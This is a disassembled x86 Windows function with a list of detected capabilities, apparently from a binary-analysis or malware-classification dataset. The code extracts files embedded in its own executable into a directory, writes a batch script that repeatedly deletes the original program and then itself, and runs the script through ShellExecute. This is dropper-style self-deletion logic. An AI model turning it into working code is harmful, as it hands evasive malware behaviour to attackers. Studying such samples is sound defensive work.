Function at 0x401000
Capabilities:
Accept command line arguments
Check if file exists
Create directory
Create process on windows
Delete file
Get file attributes
Print debug messages
Self delete
Set current directory
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xd48
mov eax, dword [0x41c380]
xor eax, esp
mov dword [esp + 0xd44], eax
push ebx
push ebp
push esi
xor ebx, ebx
lea eax, [esp + 0x34]
push edi
mov ebp, 0xf
push eax
mov dword [esp + 0x11c], ebp
mov dword [esp + 0x118], ebx
mov byte [esp + 0x108], bl
mov dword [esp + 0x154], ebp
mov dword [esp + 0x150], ebx
mov byte [esp + 0x140], bl
call fcn.00402c50
push eax
mov edi, str.lmtp_
lea esi, [esp + 0xb4]
call fcn.00401d40
add esp, 8
cmp dword [esp + 0x50], 0x10
jb 0x40107c
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00407e0c
add esp, 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0xa8], ebp
mov dword [esp + 0xa4], ebx
mov byte [esp + 0x94], bl
call fcn.00402d60
mov edi, str.hlsys64.exe
cmp eax, 0x40
je 0x4010bd
mov edi, str.hlsys32.exe
lea edx, [esp + 0xac]
push edx
lea esi, [esp + 0x3c]
call fcn.00401d40
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x9c]
call fcn.00401eb0
mov edi, 0x10
cmp dword [esp + 0x50], edi
jb 0x4010f9
mov eax, dword [esp + 0x3c]
push eax
call fcn.00407e0c
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push str._dbg
push eax
call fcn.00408070
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0xb0]
cmp dword [esp + 0xc4], edi
jae 0x40112e
lea eax, [esp + 0xb0]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esp + 0xb0]
cmp dword [esp + 0xc4], edi
jae 0x40114d
lea eax, [esp + 0xb0]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call esi
test al, 0x10
jne 0x401167
mov dword [esp + 0x10], 0xffffffff
jmp 0x4014ff
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x40117e
lea eax, [esp + 0x94]
push eax
call esi
cmp eax, 0xffffffff
je 0x4011db
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x40119d
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x4011bb
lea eax, [esp + 0x94]
push eax
call esi
cmp eax, 0xffffffff
je 0x4011db
push 0x41a0d8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [esp + 0x10], 0xffffff01
jmp 0x4014ff
push 0x400
lea ecx, [esp + 0x558]
push ebx
push ecx
call fcn.004096b0
add esp, 0xc
push 0x400
lea edx, [esp + 0x558]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x558]
call fcn.004022e0
add esp, 4
test al, al
jne 0x40122a
mov dword [esp + 0x10], 0xfffffffe
jmp 0x4014ff
mov esi, dword [esp + 0x24]
mov ecx, dword [esi]
mov edx, dword [ecx + 0x10]
push esi
call edx
mov edi, eax
mov eax, dword [esi]
mov ecx, dword [eax + 0x14]
push esi
mov dword [esp + 0x20], edi
call ecx
mov ebp, dword [eax + edi - 4]
mov edx, ebp
xor ecx, ecx
and edx, 0x80000000
cmp ecx, edx
sbb ecx, ecx
neg ecx
and ebp, 0x7fffffff
mov dword [esp + 0x18], eax
mov dword [esp + 0x28], ecx
je 0x4014f7
add eax, 0xfffffffc
cmp ebp, eax
jae 0x4014f7
push 0x14
call fcn.00407e32
add esp, 4
cmp eax, ebx
je 0x40128c
call fcn.00402750
jmp 0x40128e
xor eax, eax
mov esi, eax
lea edi, [esp + 0x14]
call fcn.00401b10
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
mov edx, dword [edi]
sub eax, ebp
push ebp
lea eax, [eax + ecx - 4]
mov ecx, dword [edx + 0xc]
push eax
push edi
call ecx
mov eax, dword [edi]
mov ecx, dword [eax + 0x14]
lea edx, [esp + 0x20]
push edx
push edi
call ecx
mov edx, dword [edi]
push eax
mov eax, dword [edx + 0x10]
push edi
call eax
call fcn.004023e0
mov esi, dword [esp + 0x28]
add esp, 8
cmp esi, ebx
je 0x40130a
mov ecx, dword [esi]
mov edx, dword [ecx + 0x14]
push esi
call edx
test eax, eax
jbe 0x40130a
mov eax, dword [edi]
mov ecx, dword [eax + 8]
push edi
call ecx
lea edi, [esp + 0x14]
mov dword [esp + 0x14], ebx
call fcn.00401b10
mov edi, dword [esp + 0x14]
mov edx, dword [edi]
mov eax, dword [edx + 0x14]
push edi
call eax
mov ebp, eax
mov ecx, dword [edi]
mov edx, dword [ecx + 0x10]
push edi
call edx
mov dword [esp + 0x18], eax
cmp ebp, 0xc
jb 0x4014ed
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x10]
push eax
call edx
mov ebp, eax
mov eax, dword [esp + 0x18]
movzx eax, word [eax + 8]
add ebp, 0xc
test ax, ax
jne 0x401345
mov dword [esp + 0x10], 0xfffffffc
movzx eax, ax
mov dword [esp + 0x30], eax
mov dword [esp + 0x1c], ebx
test eax, eax
jbe 0x4014ff
mov esi, ebp
movzx ecx, word [esi]
push ecx
add ebp, 0xc
lea edx, [esp + 0x158]
push ebp
push edx
mov dword [esp + 0x40], esi
call fcn.00409730
movzx eax, word [esi]
add ebp, eax
mov byte [esp + eax + 0x160], 0
lea eax, [esp + 0x144]
push eax
lea edi, [esp + 0x164]
lea esi, [esp + 0x48]
call fcn.00401d40
push eax
mov edi, 0x41a0dc
lea esi, [esp + 0x84]
call fcn.00401d40
add esp, 0x14
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x144]
call fcn.00401eb0
cmp dword [esp + 0x88], 0x10
jb 0x4013d5
mov ecx, dword [esp + 0x74]
push ecx
call fcn.00407e0c
add esp, 4
cmp dword [esp + 0x50], 0x10
mov dword [esp + 0x88], 0xf
mov dword [esp + 0x84], 0
mov byte [esp + 0x74], 0
jb 0x401404
mov edx, dword [esp + 0x3c]
push edx
call fcn.00407e0c
add esp, 4
lea eax, [esp + 0xac]
push eax
lea edi, [esp + 0x158]
lea esi, [esp + 0x3c]
call fcn.00401d40
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x10c]
call fcn.00401eb0
cmp dword [esp + 0x50], 0x10
jb 0x401444
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00407e0c
add esp, 4
push 0x14
call fcn.00407e32
mov esi, eax
xor edi, edi
add esp, 4
cmp esi, edi
je 0x40147d
mov dword [esi + 4], vtable.CPtrBase.0
mov dword [esi + 8], edi
mov dword [esi], vtable.CDataObject.0
mov dword [esi + 4], vtable.CDataObject.1.0
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov edx, dword [esi]
mov eax, dword [edx + 4]
push esi
call eax
mov ebx, esi
mov edx, dword [ebx]
mov ecx, dword [esp + 0x34]
mov eax, dword [edx + 0x18]
mov esi, dword [ecx + 4]
push ebx
call eax
cmp ebp, edi
je 0x40149a
cmp esi, edi
je 0x40149a
mov dword [ebx + 0xc], ebp
mov dword [ebx + 0x10], esi
cmp dword [esp + 0x118], 0x10
mov eax, dword [esp + 0x104]
jae 0x4014b2
lea eax, [esp + 0x104]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x20]
push eax
push ebx
call edx
mov dword [ebx + 0xc], edi
mov dword [ebx + 0x10], edi
mov eax, dword [ebx]
mov ecx, dword [eax + 8]
push ebx
call ecx
mov edx, dword [esp + 0x34]
add ebp, dword [edx + 4]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
movzx edx, word [ecx + 8]
inc eax
xor ebx, ebx
mov dword [esp + 0x1c], eax
cmp eax, edx
jb 0x401358
jmp 0x4014ff
mov dword [esp + 0x10], 0xfffffffb
jmp 0x4014ff
mov dword [esp + 0x10], 0xfffffffd
xor ebx, ebx
cmp dword [esp + 0x2c], ebx
je 0x401647
lea edi, [esp + 0x38]
call fcn.004029f0
push eax
mov edi, str.dbg.txt
lea esi, [esp + 0x74]
call fcn.00401d40
mov ebp, 0x10
add esp, 4
cmp dword [eax + 0x18], ebp
jb 0x401535
mov eax, dword [eax + 4]
jmp 0x401538
add eax, 4
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp dword [esp + 0x88], ebp
jb 0x401562
mov eax, dword [esp + 0x74]
push eax
call fcn.00407e0c
add esp, 4
mov esi, 0xf
mov dword [esp + 0x88], esi
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], 0
cmp dword [esp + 0x50], ebp
jb 0x40158d
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00407e0c
add esp, 4
mov dword [esp + 0x50], esi
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], 0
cmp edi, 0xffffffff
je 0x40164c
mov ecx, dword [esp + 0x13c]
cmp dword [esp + 0x150], ebp
jae 0x4015ba
lea ecx, [esp + 0x13c]
mov eax, dword [esp + 0xb0]
cmp dword [esp + 0xc4], ebp
jae 0x4015d1
lea eax, [esp + 0xb0]
mov edx, dword [esp + 0x30]
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
push str.iret_d_r_ntmpdir_s_r_nfilecount:_d_r_nname:__s_r_n
lea esi, [esp + 0x68]
call fcn.00402cf0
add esp, 0x14
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x10c]
call fcn.00401eb0
cmp dword [esp + 0x6c], ebp
jb 0x401611
mov ecx, dword [esp + 0x58]
push ecx
call fcn.00407e0c
add esp, 4
mov eax, dword [esp + 0x104]
cmp dword [esp + 0x118], ebp
jae 0x401628
lea eax, [esp + 0x104]
mov ecx, dword [esp + 0x114]
push ebx
lea edx, [esp + 0x30]
push edx
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40164c
mov ebp, 0x10
mov eax, dword [esp + 0xb0]
cmp dword [esp + 0xc4], ebp
jae 0x401663
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea edx, [esp + 0x54]
push edx
call fcn.00402c50
push eax
mov edi, str.batfile.bat
lea esi, [esp + 0xec]
call fcn.00401d40
add esp, 8
cmp dword [esp + 0x6c], ebp
jb 0x40169c
mov eax, dword [esp + 0x58]
push eax
call fcn.00407e0c
add esp, 4
push 0x400
lea ecx, [esp + 0x958]
push ebx
push ecx
call fcn.004096b0
add esp, 0xc
push 0x400
lea edx, [esp + 0x958]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
mov edi, 0xf
push 0x41a125
lea ecx, [esp + 0xd0]
mov dword [esp + 0xe8], edi
mov dword [esp + 0xe4], ebx
mov byte [esp + 0xd4], 0
call fcn.004021c0
push 0xb
push str.__s___ins_r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
push 9
push str.:again__r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
push edi
push str.del___s___Q___r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
push 0x1b
push str.if_exist___s__goto_again__r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
push 0x11
push str.del__s.___Q___r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
mov esi, dword [esp + 0x28]
cmp esi, ebx
je 0x40176b
push edi
push str.del___s___Q___r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
push 9
push str.del___0_r_n
lea eax, [esp + 0xd0]
call fcn.00401b40
mov dword [esp + 0x130], ebx
cmp esi, ebx
mov ebx, dword [esp + 0xe8]
mov dword [esp + 0x134], edi
mov byte [esp + 0x120], 0
je 0x40184c
cmp dword [esp + 0xfc], ebp
jae 0x4017b3
lea ebx, [esp + 0xe8]
mov edi, dword [esp + 0xb0]
cmp dword [esp + 0xc4], ebp
jae 0x4017ca
lea edi, [esp + 0xb0]
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0x94]
mov esi, ecx
cmp eax, ebp
jae 0x401848
lea esi, [esp + 0x94]
mov edx, esi
cmp eax, ebp
jae 0x4017f2
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0xcc]
cmp dword [esp + 0xe0], ebp
jae 0x401809
lea eax, [esp + 0xcc]
push ebx
lea ebx, [esp + 0x958]
push ebx
push edi
push esi
push edx
push ecx
push eax
lea esi, [esp + 0x70]
call fcn.00402cf0
add esp, 0x1c
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x128]
call fcn.00401eb0
cmp dword [esp + 0x6c], ebp
jb 0x4018ec
mov eax, dword [esp + 0x58]
push eax
jmp 0x4018e4
mov edx, ecx
jmp 0x4017e7
cmp dword [esp + 0xfc], ebp
jae 0x40185c
lea ebx, [esp + 0xe8]
mov edi, dword [esp + 0xb0]
cmp dword [esp + 0xc4], ebp
jae 0x401873
lea edi, [esp + 0xb0]
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0x94]
mov esi, ecx
cmp eax, ebp
jae 0x401b02
lea esi, [esp + 0x94]
mov edx, esi
cmp eax, ebp
jae 0x40189f
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0xcc]
cmp dword [esp + 0xe0], ebp
jae 0x4018b6
lea eax, [esp + 0xcc]
push ebx
push edi
push esi
push edx
push ecx
push eax
lea esi, [esp + 0x6c]
call fcn.00402cf0
add esp, 0x18
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x128]
call fcn.00401eb0
cmp dword [esp + 0x6c], ebp
jb 0x4018ec
mov ecx, dword [esp + 0x58]
push ecx
call fcn.00407e0c
add esp, 4
mov eax, dword [esp + 0xe8]
cmp dword [esp + 0xfc], ebp
jae 0x401903
lea eax, [esp + 0xe8]
xor edi, edi
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40197c
mov eax, dword [esp + 0x120]
cmp dword [esp + 0x134], ebp
jae 0x401935
lea eax, [esp + 0x120]
mov ecx, dword [esp + 0x130]
push edi
lea edx, [esp + 0x90]
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xe8]
cmp dword [esp + 0xfc], ebp
jae 0x40196c
lea eax, [esp + 0xe8]
push edi
push edi
push edi
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [esp + 0x134], ebp
jb 0x401995
mov edx, dword [esp + 0x120]
push edx
call fcn.00407e0c
add esp, 4
mov esi, 0xf
mov dword [esp + 0x134], esi
mov dword [esp + 0x130], edi
mov byte [esp + 0x120], 0
cmp dword [esp + 0xe0], ebp
jb 0x4019c9
mov eax, dword [esp + 0xcc]
push eax
call fcn.00407e0c
add esp, 4
mov dword [esp + 0xe0], esi
mov dword [esp + 0xdc], edi
mov byte [esp + 0xcc], 0
cmp dword [esp + 0xfc], ebp
jb 0x4019f8
mov ecx, dword [esp + 0xe8]
push ecx
call fcn.00407e0c
add esp, 4
mov dword [esp + 0xfc], esi
mov dword [esp + 0xf8], edi
mov byte [esp + 0xe8], 0
cmp dword [esp + 0xa8], ebp
jb 0x401a27
mov edx, dword [esp + 0x94]
push edx
call fcn.00407e0c
add esp, 4
mov eax, dword [esp + 0x20]
mov dword [esp + 0xa8], esi
mov dword [esp + 0xa4], edi
mov byte [esp + 0x94], 0
cmp eax, edi
je 0x401a4d
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x401a5d
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x24]
cmp eax, edi
je 0x401a6d
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [esp + 0xc4], ebp
jb 0x401a86
mov eax, dword [esp + 0xb0]
push eax
call fcn.00407e0c
add esp, 4
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], edi
mov byte [esp + 0xb0], 0
cmp dword [esp + 0x150], ebp
jb 0x401ab5
mov ecx, dword [esp + 0x13c]
push ecx
call fcn.00407e0c
add esp, 4
cmp dword [esp + 0x118], ebp
mov dword [esp + 0x14c], edi
pop edi
mov dword [esp + 0x14c], esi
pop esi
pop ebp
mov byte [esp + 0x130], 0
pop ebx
jb 0x401ae8
mov edx, dword [esp + 0xf4]
push edx
call fcn.00407e0c
add esp, 4
mov ecx, dword [esp + 0xd44]
mov eax, dword [esp]
xor ecx, esp
call fcn.00407d80
add esp, 0xd48
ret 0x10
mov edx, ecx
jmp 0x401894